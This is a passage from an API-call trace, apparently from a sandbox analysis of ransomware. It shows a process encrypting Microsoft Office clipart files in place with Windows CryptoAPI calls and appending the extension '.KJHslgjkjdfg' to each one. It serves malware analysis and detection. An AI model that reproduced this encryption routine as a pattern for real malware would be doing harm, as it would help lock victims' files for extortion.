dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.275] GetProcessHeap () returned 0x2a0000 [0181.275] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.275] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.275] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.275] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0181.277] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.277] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.277] GetProcessHeap () returned 0x2a0000 [0181.277] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.277] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.277] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.277] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.277] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.277] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.277] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.277] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.277] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.277] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.277] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.277] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.277] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xcbe, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xcbe, lpOverlapped=0x0) returned 1 [0181.278] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xcc0, dwBufLen=0xcc0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xcc0) returned 1 [0181.278] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.278] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xcc0, lpOverlapped=0x0) returned 1 [0181.278] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.278] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xd94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.278] SetEndOfFile (hFile=0x114) returned 1 [0181.280] GetProcessHeap () returned 0x2a0000 [0181.280] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.280] GetProcessHeap () returned 0x2a0000 [0181.280] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.280] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241773.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241773.wmf.kjhslgjkjdfg")) returned 1 [0181.282] CloseHandle (hObject=0x114) returned 1 [0181.282] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb5d1000, ftCreationTime.dwHighDateTime=0x1be9cdc, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdb5d1000, ftLastWriteTime.dwHighDateTime=0x1be9cdc, nFileSizeHigh=0x0, nFileSizeLow=0x7b2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0241781.WMF", cAlternateFileName="")) returned 1 [0181.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241781.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.348] GetProcessHeap () returned 0x2a0000 [0181.348] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.348] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.348] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.348] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0181.351] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.351] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.352] GetProcessHeap () returned 0x2a0000 [0181.352] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.352] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.352] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.352] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.352] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.352] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.352] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.352] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.352] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.352] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.352] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.352] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.352] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7b2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7b2, lpOverlapped=0x0) returned 1 [0181.353] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7c0, dwBufLen=0x7c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7c0) returned 1 [0181.353] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.353] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7c0, lpOverlapped=0x0) returned 1 [0181.353] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.353] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x894, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.353] SetEndOfFile (hFile=0x114) returned 1 [0181.355] GetProcessHeap () returned 0x2a0000 [0181.355] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.355] GetProcessHeap () returned 0x2a0000 [0181.355] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.355] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241781.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241781.wmf.kjhslgjkjdfg")) returned 1 [0181.357] CloseHandle (hObject=0x114) returned 1 [0181.357] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7938, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0250504.WMF", cAlternateFileName="")) returned 1 [0181.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250504.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.358] GetProcessHeap () returned 0x2a0000 [0181.358] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.358] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.358] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.358] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.361] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.361] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.361] GetProcessHeap () returned 0x2a0000 [0181.361] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.361] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.361] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.361] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.361] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.361] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.361] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.361] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.361] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.361] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.361] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.361] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.362] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7938, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7938, lpOverlapped=0x0) returned 1 [0181.367] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7940, dwBufLen=0x7940 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7940) returned 1 [0181.368] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.368] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7940, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7940, lpOverlapped=0x0) returned 1 [0181.368] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.368] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7a14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.368] SetEndOfFile (hFile=0x114) returned 1 [0181.371] GetProcessHeap () returned 0x2a0000 [0181.371] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.371] GetProcessHeap () returned 0x2a0000 [0181.371] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.371] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250504.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250504.wmf.kjhslgjkjdfg")) returned 1 [0181.372] CloseHandle (hObject=0x114) returned 1 [0181.372] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6958, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0250997.WMF", cAlternateFileName="")) returned 1 [0181.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250997.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.373] GetProcessHeap () returned 0x2a0000 [0181.373] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.373] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.374] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.374] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.376] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.376] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.376] GetProcessHeap () returned 0x2a0000 [0181.376] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.376] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.376] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.376] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.376] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.376] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.376] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.376] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.376] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.376] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.376] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.377] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.377] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6958, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x6958, lpOverlapped=0x0) returned 1 [0181.378] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6960, dwBufLen=0x6960 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6960) returned 1 [0181.378] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.378] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6960, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x6960, lpOverlapped=0x0) returned 1 [0181.378] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.378] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6a34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.378] SetEndOfFile (hFile=0x114) returned 1 [0181.381] GetProcessHeap () returned 0x2a0000 [0181.381] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.381] GetProcessHeap () returned 0x2a0000 [0181.381] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.381] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250997.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250997.wmf.kjhslgjkjdfg")) returned 1 [0181.383] CloseHandle (hObject=0x114) returned 1 [0181.383] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1100c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0251007.WMF", cAlternateFileName="")) returned 1 [0181.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0251007.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.384] GetProcessHeap () returned 0x2a0000 [0181.384] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.384] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.385] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.385] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.387] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.387] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.387] GetProcessHeap () returned 0x2a0000 [0181.387] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.387] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.387] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.387] 